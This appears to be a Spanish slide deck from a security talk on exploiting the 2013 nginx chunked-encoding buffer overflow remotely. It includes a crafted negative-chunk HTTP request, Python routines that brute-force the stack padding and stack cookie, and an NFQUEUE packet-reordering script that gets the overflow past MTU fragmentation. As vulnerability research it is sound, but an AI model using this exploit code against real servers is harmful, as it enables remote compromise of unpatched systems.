WhoamI #BBOOTN
WhoamI Big Buffer Overflow Over The Network Y bla bla bla…
SOBRE MI Albert Puigsech Galicia Más de 15 años dedicado al InfoSec. Manager del laboratorio de seguridad de EY. Director de centro Codelearn Sant Gervasi. Miembro del grupo int3pids. Creador de la publicación apuigsech
QUIEN MÁS? Socio de oriol-carreras-ballester
ANTECEDENTES A principios de Mayo de 2013 se publica una vulnerabilidad en nginx. nginx crafted request handling remote overflow CVE Otra vez el chunked encoding, y bla bla bla…
EL EXPLOIT Análisis del parche: El problema se produce en la función ngx_http_parse_chunked() cuando ctx->size o ctx->length es menor que zero. --- src/http/ngx_http_parse.c +++ src/http/ngx_http_parse.c -2209, ,10 data: + if (ctx->size length < 0) { + goto invalid; + } + return rc; done: Y bla bla bla…
EL EXPLOIT Análisis del código: La función de parsing procesa carácter a carácter en un bucle enorme que implementa una maquina de estados, y bla bla bla… Al final se resume todo en usar un tamaño de chunk encode negativo.
EL EXPLOIT Una prueba tonta: GET /html HTTP/1.1 Host: localhost Transfer-Encoding: chunked feeeeeeeeeeeeeeee El gdb nos dice esto: Breakpoint 2, ngx_http_parse_chunked (r=0x94dc4d8, b=0x94d6064, ctx=0x94dcc94) at src/http/ngx_http_parse.c: ctx->state = state; (gdb) p ctx->size $7 = (gdb) Y bla bla bla…
EL EXPLOIT Vale, y?: En la función ngx_http_read_discarded_request_body() podemos encontrar el siguiente código: u_char buffer[NGX_HTTP_DISCARD_BUFFER_SIZE]; (…) size = (size_t) ngx_min(r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE); n = r->connection->recv(r->connection, buffer, size); NGX_HTTP_DISCARD_BUFFER_SIZE es Y bla bla bla…
EL EXPLOIT Jojojo. Un buffer overflow de toda la vida (*). (*) Con stack cookie aleatorio. Y bla bla bla…
EL EXPLOIT Código del Exploit: Crafted Request! Y bla bla bla… def get_magic_request(sz): req = "GET /html HTTP/1.1\n" req += "Host: localhost\n" req += "Connection: keep-alive\n" req += "Transfer-Encoding: chunked\n" req += "\n" extra = sz - len(req) - 17 extra = extra - 5 req += "%x" % extra + "\n" + "A"*extra + "\n" req += "eeeeeeeeeeeeeeee\t" return req
EL EXPLOIT Código del Exploit: Auto-Padding! Y bla bla bla… def get_padding(): print "[+] Finding stack padding" for i in range(0, 128): print "\r\t- Trying: %i" % i, sys.stdout.flush() req = prepare_request(1024, BUFSIZE, i, 0xff, 1, 0, "") s = do_connect(HOST, PORT) s.send(req) if len(s.recv(1024)) <= 0: print "\r\t- Trying: %i (FOUND!)\n" % i break if i == 127: print "\r\t- Not Found: Are you sure that this is exploitable?" return None else: return i
EL EXPLOIT Código del Exploit: Auto-Cookie!!!!! Y bla bla bla… def get_cookie(padding_bc_size): print "[+] Obtaining stack protection cookie" cookie = 0x for i in range(0,4): for j in range(0x00, 0xff): print "\r\t- Trying: %x" % cookie, sys.stdout.flush() req = prepare_request(1024, BUFSIZE, padding_bc_size, cookie, i+1, 0, "") s = do_connect(HOST, PORT) s.send(req) if (len(s.recv(1024)) > 0): break cookie += 0x01<<(8*i) print "\r\t- Trying: %x (FOUND!)\n" % cookie, return cookie
EL EXPLOIT Atacando a través de la red local: Y bla bla bla…
EL EXPLOIT Atacando a través de la Internet: Y bla bla bla…
EL MISTERIO Qué cojones pasa? Miremos el log… 2013/08/20 01:57:07 [debug] 9816#0: *1 http chunked byte: FF s:2 2013/08/20 01:57:07 [debug] 9816#0: *1 recv: fd: of 1435 Y bla bla bla…
EL MISTERIO Qué cojones pasa? Miremos el trafico de red… 1500
EL MISTERIO ¡Respuesta! $ ifconfig eth0 Link encap:Ethernet HWaddr 00:1c:42:aa:cd:ae inet addr: Bcast: Mask: inet6 addr: fe80::21c:42ff:feaa:cdae/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets: errors:0 dropped:17 overruns:0 frame:0 TX packets: errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes: (74.8 MB) TX bytes: (59.3 MB “La MTU nos esta jodiendo” La unidad máxima de transferencia (Maximum Transfer Unit - MTU) es un término de redes de computadoras que expresa el tamaño en bytes de la unidad de datos más grande que puede enviarse usando un protocolo de comunicaciones. Y bla bla bla…
Aplicación (nginx) QUE OCURRE? Aplicación (exploit) TCP IP Física TCP IP Física Internet … El paquete es dividido en paquetios antes de ser enviado, Y el destino los procesa en llamadas recv() independientes El paquete es dividido en paquetios antes de ser enviado, Y el destino los procesa en llamadas recv() independientes Y bla bla bla….
SOLUCION? Primer intento… Forzar una MTU mayor. $ ifconfig eth0 mtu 8000 up
Aplicación (nginx) QUE OCURRE AHORA? Aplicación (exploit) TCP IP Física TCP IP Física Internet … El paquete es dividido en paquetitos en algún punto de internet, Y el destino los procesa en llamadas recv() independientes. No podemos aumentar demasiado el MTU porque existen limitaciones en los diversos protocolos. El paquete raramente llegará entero a su destino a través de Internet. El paquete es dividido en paquetitos en algún punto de internet, Y el destino los procesa en llamadas recv() independientes. No podemos aumentar demasiado el MTU porque existen limitaciones en los diversos protocolos. El paquete raramente llegará entero a su destino a través de Internet. Y bla bla bla….
SOLUCION? Si no podemos enviar el paquete entero… Tenemos que hacer que, por lo menos, llegue entero a la aplicación destino (nginx). Y bla bla bla…
(UN POCO DE REDES) El modelo OSI tiene diversas capas en las que se procesan los paquetes. El paquete debe llegar compacto a la capa de Aplicación. En que capas se ensamblan paquetes? IP: Paquetes fragmentados. TCP: En algunas condiciones. Y bla bla bla…
(UN POCO DE REDES) Cómo funciona la capa TCP. Protocolo orientado a conexiones con controles de secuencia. Tiene un Buffer interno llamado “Ventana” de un tamaño concreto. La Ventana se usa para ensamblar paquetes.
(UN POCO DE REDES) Llega un paquete TCP… 1.Se coloca en la Ventana. 2.Se evalúa si el contenido está completo (gracias a los números de secuencia). 3.Si el contenido está completo se envía a la capa superior (capa de Aplicación). 4.Si no esta completo se sigue esperando contenido. 5.Y bla bla bla…
SOLUCION? Segundo intento… Intentar que los paquetes se ensamblen en la capa TCP… Como? Si enviamos el primer paquete del bloque de datos en último lugar, la capa TCP no podrá entregar los datos a la capa de Aplicación hasta que este llegue Primer paquete al final. Y bla bla bla…
Aplicación (nginx) QUE OCURRE? Aplicación (exploit) TCP IP Física TCP Ventana IP Física Internet 1500 Y bla bla bla… PWNED
SOLUCION Como lo hacemos? Implementando un stack TCP/IP en userspace en nuestro exploit. Elegante, pero un palo. Manipular el kernel Feo, y un palo. Usar las NFQUEUS de netfilter. Feo, pero FACIL Y bla bla bla…
SOLUCION Código del NFQUEUE: import nfqueue import socket import time data_count = 0 delayed = None def cb(dummy, payload): global data_count global delayed print "OUTCOMING PACKAGE!" data = payload.get_data() if len(data) > 60: data_count += 1 if (data_count == 1): delayed = payload print data payload.set_verdict(nfqueue.NF_DROP) else: data_count = 0 q = nfqueue.queue() q.open() q.bind(socket.AF_INET) q.set_callback(cb) q.create_queue(0) try: q.try_run() except KeyboardInterrupt: print "Exiting..." q.unbind(socket.AF_INET) q.close()
PREGUNTAS?